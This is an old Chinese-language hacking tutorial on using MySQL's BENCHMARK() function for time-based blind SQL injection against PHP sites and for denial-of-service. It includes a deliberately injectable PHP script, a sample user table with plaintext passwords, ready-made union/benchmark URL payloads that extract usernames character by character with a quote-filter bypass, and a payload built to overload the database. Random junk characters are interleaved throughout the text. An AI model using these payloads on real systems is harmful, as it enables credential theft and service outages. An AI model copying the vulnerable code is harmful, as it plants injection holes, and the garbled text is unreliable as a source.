MYSQL中BENCHMARK函数的利用 ; j0 A; J5 j8 Y8 X2 N# K
本文作者:SuperHei: I% l9 J: t6 p$ n, D
文章性质:原创
" y) Z7 Z% L- f" W6 T4 |7 v发布日期:2005-01-02& B. k1 l; z( K# O
完成日期:2004-07-09
4 i: P! T5 g2 j第一部
$ _8 y: ?) P1 w! N2 I2 u! O) j {+ g' D1 l8 Q
利用时间推延进行注射---BENCHMARK函数在注射中的利用
$ V4 Y. }) L2 A7 ^
9 S/ Y' T) ]* Z0 T2 i8 l; i* T一.前言/思路& s6 X! D! x ?) ]: {8 r
7 M$ Q7 k! y* ^: Y, P. ~- C: `& }8 ?0 e
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
. F* g* y5 u9 P5 D" r# \# ?) x( r. Y, N- A. s: w+ Z2 O
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。- }& t, a- `) Q7 r
$ S0 v6 v" c' y& g" c/ k2 [4 m8 t二.关于BENCHMARK函数
4 O+ |% j& ~9 O4 ?: y" i" ~ A" v+ q# ]1 N- {
在MySQL参考手册里可以看到如下描叙: , x: g3 j! w: _9 X+ N
H8 ?+ R k( \- f' H0 [% L
: _9 ]5 z& f( z8 d--------------------------------------------------------------------------------& y# s, d: ~- e# Y& N
9 S+ b! @ b) `; i4 w0 |& i
BENCHMARK(count,expr) 8 ~# ^6 `& k8 w# \' q
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
4 q8 n6 C0 w, `7 Qmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
+ v) _( V( F1 k0 V5 w& p4 P! k4 _) X) ]+----------------------------------------------+ 3 _! n4 P2 L# p3 g3 G
| BENCHMARK(1000000,encode("hello","goodbye")) | # I2 X2 Y* o' Z. [$ p j9 s
+----------------------------------------------+
8 l- A3 R6 J1 E7 f. `4 i( z) z| 0 | , ] E2 M# T; s6 t7 l2 Q6 L
+----------------------------------------------+ ( H4 k0 Z% }* M
1 row in set (4.74 sec) 3 n& m* m; U/ |
1 n7 n g& X9 p报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
3 T7 ^' U* {1 _9 t$ \
& m% l l; ~( R' [( R3 }
5 t: {, K! [( d, i0 S9 E+ w--------------------------------------------------------------------------------
Y: ]* p/ w, y8 e j
- ]9 k1 N8 b: P- b) ^& o. R/ f, q 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
1 f& W8 h J) M* p+ e3 ?0 W& a# z+ ]7 w" [
mysql> select md5( 'test' ); # N) N& h1 V* M' H% Y* b2 N
+----------------------------------+
+ C+ P9 I2 `+ ]5 H| md5( 'test' ) |
7 C4 F: b& [5 W9 l+----------------------------------+ ( e3 `) @ [- x/ f- y6 \
| 098f6bcd4621d373cade4e832627b4f6 |
% b0 d4 `' C4 v% n+----------------------------------+
8 ^1 i" x; e$ B. Z% `1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
5 S. e: z* J* t' M6 A: L& C7 m q/ T* B' y* b- g
mysql> select benchmark( 500000, md5( 'test' ) ); & a+ F* C0 o3 c) z+ N% k
+------------------------------------+ - ]6 h v8 N9 e: w
| benchmark( 500000, md5( 'test' ) ) | & D; D! E9 m2 k) v( _
+------------------------------------+
' w, {" ]5 T& N2 s8 Z5 A# m C% s8 ]| 0 | / U! s! ]3 ?# w* B$ e: G& D
+------------------------------------+
& f- s% c& v, L3 V! Q2 ^, K1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
: c6 M1 ]; b& e
, ]( p' e+ O! b. _4 C$ B F+ T/ ^: q* H1 p, s0 B" x0 Q4 F0 J' n: ~9 B) A
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 , Y' V% S% v, `4 z
, q/ Z; x# [: m- e5 D
三.具体例子
( R+ ~, H7 ^" M' V7 e
/ G: z% J% }" X7 S 首先我们看个简单的php代码:
; ]. Z' P6 R2 x; n( V: G9 I8 ^* f! H$ \+ n0 U5 v$ U7 z3 B
< ?php ' z. T3 q' p y# f: `
$servername = "localhost"; 0 ^- @5 }7 z- W4 C/ N& `
$dbusername = "root"; $ X$ G! J- r4 @+ t) q6 }
$dbpassword = ""; ; U ^. N$ h- j8 J6 ]! ~5 t
$dbname = "injection";
6 x5 q' l; O2 @: Y/ n0 S, p! ~+ e( {" E+ f( e) w+ J o$ ?5 B
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
' u7 {' m+ E0 ?
+ I, r/ ^9 |( p$sql = "SELECT * FROM article WHERE articleid=$id"; 6 r _& L X& T# _( N
$result = mysql_db_query($dbname,$sql);
. v. r* @; Z, _$row = mysql_fetch_array($result); # _% Q7 f1 }; q5 P1 G7 g
, w% H% r0 Q- b$ S. e- o
if (!$row)
, B- A0 T" M8 `" U; j) T{
7 |. a, c' D/ t+ }' x' V6 H% e! dexit;
q; @" h% W" c+ p+ N7 D. y9 ^* C}
! d5 W' R& J/ f; L" b?>+ w' ?" @( }9 f: m; {
% o7 J! @, L4 \! ^' J
9 c( z W7 J# i/ C" P( W
数据库injection结构和内容如下:
+ I. c+ x5 l1 C$ ^3 p
- {" p6 Q$ f7 [7 r# 数据库 : `injection`
6 d8 z& O9 Z- N# y7 N#
. Q& I0 U+ i7 G( y4 u A5 y, e, @1 m$ s8 R/ ?* E) I2 k: u9 P
# -------------------------------------------------------- 0 A: A3 [/ m- M' ] T4 ^# x! t
( k& z0 G9 A! I% i6 Y8 H#
' q0 N# i, T7 G5 F% U3 O% o5 L# 表的结构 `article` ( U7 z; E: y3 W4 ^6 Q
# 9 b' Q. d: h4 b7 j$ P' }
; q% l( t* E5 T9 R4 l- u
CREATE TABLE `article` ( ( j- N% A9 G7 w- v
`articleid` int(11) NOT NULL auto_increment,
$ n' z! k+ ^3 k: `, ` W1 `; ~ L`title` varchar(100) NOT NULL default '', 7 K9 F/ |5 y3 G0 i5 u
`content` text NOT NULL,
0 l; s6 N5 F, tPRIMARY KEY (`articleid`) ; k( T& D# m N8 Z5 ^( d
) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 N- p: z7 O9 e# v
3 t- O, @& q* O0 c0 t8 A9 Y% D0 T#
& t/ d. }% ], j0 n/ L- N& W# 导出表中的数据 `article`
2 o" H- \% F# V8 | y#
* h* _4 r: O9 i2 o, L) X3 U y
: U+ X+ M4 ?* l" s/ o8 LINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 5 g4 k% e% `+ W, j1 u% I
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
/ Q) _) M- _! U ]9 { Q
1 \) [9 z( e0 c" W# --------------------------------------------------------
( c# z1 g! C1 O# S+ w* Q) O" Q7 t1 O( x( x5 c
# $ o+ U3 R* n3 V, F$ O7 Z0 l0 j
# 表的结构 `user` ) U; t) n7 n# A- T( C
#
' }9 v* c; s6 A) p+ h
Y8 a4 Z s6 ~. g; xCREATE TABLE `user` ( % i E9 n3 ^) i6 K- B V
`userid` int(11) NOT NULL auto_increment,
! M4 u# |1 J7 @`username` varchar(20) NOT NULL default '', 0 W+ {- h/ z) d z4 F4 h& i Y
`password` varchar(20) NOT NULL default '', ) r# A4 ?3 u5 J& t
PRIMARY KEY (`userid`)
; t1 {* K' _, j! g$ u9 w) TYPE=MyISAM AUTO_INCREMENT=3 ; . I. B2 V% N! S; {4 r
% ?1 [, {- C: I8 S; ~8 n _9 Z* v
#
3 h( C7 G9 e' @- V3 a% e1 j* J3 B# m- d1 M' |# 导出表中的数据 `user`
v: w; I1 `+ F% s#
% T3 c( q) i8 H4 p, D. Z! l7 s/ F+ ?7 ~ B/ ^7 Q7 B; E0 k
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
% l4 A7 a2 u0 N8 H3 {' F' AINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
" U4 p i* M \6 e9 O y$ h3 p
2 ^ e* P3 ~- b7 Q) E
+ v- M3 i$ e/ U- B& M 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:# C& u' u; b% m
4 j6 j/ T- V. R+ [1 X/ X, z0 y
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
% n1 h# P" T# e- `1 D9 _
' W2 i8 N8 r& w D- J- p: t* ?2 H: M. n
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:/ G! t% F; Z9 a6 U& c; l
6 H( n# `% C: x7 [/ |! R
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*$ |) P8 j* s M! B( N
/ k6 Y8 K1 E- w# D
/ P1 N0 s/ w: m2 L3 N 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
6 ?+ D6 K; w* R+ e9 R4 ?7 }2 Q: N6 G9 z0 R4 ] K: x% l
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 9 \6 n0 s4 t3 p& ~/ U1 ?: X
' m4 |% v2 ^! s8 h2 }
第二部
; G& H& | H+ [
& I* L( O, n9 v7 i: i# f3 V% i利用BENCHMARK函数进行ddos攻击
8 ~% q" U. G; }: i8 H+ k% Q, M" D$ u+ `9 f
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
6 E6 a [4 V) w' v$ k7 Z+ I8 {4 D. A( P+ M7 F9 ^
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
0 M$ v( C, ^1 Y( t$ G' R( k ! S! ]1 `& z; {0 p! ]5 \1 j& d
4 j# R6 X& o) B6 v+ L: U小结4 s3 y V: t) {- u; R5 ~
$ b8 o2 y' _+ O- _0 Y 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。) v, t: s$ k J( g! @$ Z
9 b5 ~$ f; z! w6 V8 K$ `- v) M8 N6 _ K
2 d# c- X8 @9 }' L
|